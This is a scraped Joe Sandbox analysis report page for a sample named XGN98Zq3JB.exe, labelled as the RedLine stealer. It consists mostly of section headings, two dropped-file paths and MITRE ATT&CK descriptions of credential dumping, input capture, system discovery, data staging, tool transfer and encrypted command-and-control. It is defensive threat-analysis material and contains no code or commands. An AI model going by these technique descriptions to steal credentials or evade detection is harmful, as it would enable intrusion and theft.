Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report XGN98Zq3JB.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.log

C:\Users\user\AppData\Local\Temp\fl.exe

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

Windows Analysis Report
XGN98Zq3JB.exe

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre